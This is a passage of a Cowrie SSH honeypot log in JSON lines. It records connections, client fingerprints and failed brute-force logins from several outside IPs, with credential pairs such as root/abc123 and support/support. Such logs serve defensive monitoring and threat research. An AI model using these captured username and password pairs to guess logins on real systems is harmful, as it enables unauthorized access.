ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:19.307963Z","src_ip":"163.7.9.84","session":"2be8f5f8bd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:19.638644Z","src_ip":"103.75.199.4","session":"fc2b82ec6e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gdm","message":"login attempt [root/gdm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:20.339677Z","src_ip":"163.7.9.84","session":"2be8f5f8bd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:21.593052Z","src_ip":"163.7.9.84","session":"2be8f5f8bd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":36260,"dst_ip":"10.17.0.5","dst_port":22,"session":"c24345e97ec4","protocol":"ssh","message":"New connection: 94.154.34.232:36260 (10.17.0.5:22) [session: c24345e97ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:30.963091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:30.968369Z","src_ip":"94.154.34.232","session":"c24345e97ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:31.097749Z","src_ip":"94.154.34.232","session":"c24345e97ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:31.645951Z","src_ip":"94.154.34.232","session":"c24345e97ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:32.778510Z","src_ip":"94.154.34.232","session":"c24345e97ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43216,"dst_ip":"10.17.0.5","dst_port":22,"session":"d075d2652ae3","protocol":"ssh","message":"New connection: 43.163.119.215:43216 (10.17.0.5:22) [session: d075d2652ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:33.527811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:33.532192Z","src_ip":"43.163.119.215","session":"d075d2652ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:33.777137Z","src_ip":"43.163.119.215","session":"d075d2652ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:34.517511Z","src_ip":"43.163.119.215","session":"d075d2652ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:35.767307Z","src_ip":"43.163.119.215","session":"d075d2652ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":59514,"dst_ip":"10.17.0.5","dst_port":22,"session":"653571e0545c","protocol":"ssh","message":"New connection: 205.209.121.72:59514 (10.17.0.5:22) [session: 653571e0545c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.520062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.525133Z","src_ip":"205.209.121.72","session":"653571e0545c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.530807Z","src_ip":"205.209.121.72","session":"653571e0545c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer#1234","message":"login attempt [root/qwer#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.582339Z","src_ip":"205.209.121.72","session":"653571e0545c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49386,"dst_ip":"159.203.135.109","dst_port":22,"session":"48f23857e5fd","protocol":"ssh","message":"New connection: 103.75.199.4:49386 (159.203.135.109:22) [session: 48f23857e5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.987423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:39.991870Z","src_ip":"103.75.199.4","session":"48f23857e5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:40.082552Z","src_ip":"103.75.199.4","session":"48f23857e5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:40.356234Z","src_ip":"103.75.199.4","session":"48f23857e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:40.590317Z","src_ip":"205.209.121.72","session":"653571e0545c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:41.449113Z","src_ip":"103.75.199.4","session":"48f23857e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4ca1c59a02","protocol":"ssh","message":"New connection: 43.163.119.215:51744 (10.17.0.5:22) [session: 7b4ca1c59a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:43.188891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:43.196811Z","src_ip":"43.163.119.215","session":"7b4ca1c59a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:43.460446Z","src_ip":"43.163.119.215","session":"7b4ca1c59a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:44.410832Z","src_ip":"43.163.119.215","session":"7b4ca1c59a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bb7b3cf59e","protocol":"ssh","message":"New connection: 43.163.119.215:37780 (10.17.0.5:22) [session: 15bb7b3cf59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:45.087045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:45.091699Z","src_ip":"43.163.119.215","session":"15bb7b3cf59e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:45.322135Z","src_ip":"43.163.119.215","session":"15bb7b3cf59e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:45.658413Z","src_ip":"43.163.119.215","session":"7b4ca1c59a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.014486Z","src_ip":"43.163.119.215","session":"15bb7b3cf59e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":57782,"dst_ip":"159.203.135.109","dst_port":22,"session":"347e9e9c8a63","protocol":"ssh","message":"New connection: 154.83.196.237:57782 (159.203.135.109:22) [session: 347e9e9c8a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.368289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.372648Z","src_ip":"154.83.196.237","session":"347e9e9c8a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.486726Z","src_ip":"154.83.196.237","session":"347e9e9c8a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54864,"dst_ip":"10.17.0.5","dst_port":22,"session":"142cf1a1db1e","protocol":"ssh","message":"New connection: 43.163.119.215:54864 (10.17.0.5:22) [session: 142cf1a1db1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.710198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.715755Z","src_ip":"43.163.119.215","session":"142cf1a1db1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.962664Z","src_ip":"43.163.119.215","session":"142cf1a1db1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loja","message":"login attempt [root/loja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:46.976745Z","src_ip":"154.83.196.237","session":"347e9e9c8a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:47.246489Z","src_ip":"43.163.119.215","session":"15bb7b3cf59e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:47.705076Z","src_ip":"43.163.119.215","session":"142cf1a1db1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:48.093045Z","src_ip":"154.83.196.237","session":"347e9e9c8a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:48.953920Z","src_ip":"43.163.119.215","session":"142cf1a1db1e","protocol":"ssh"}
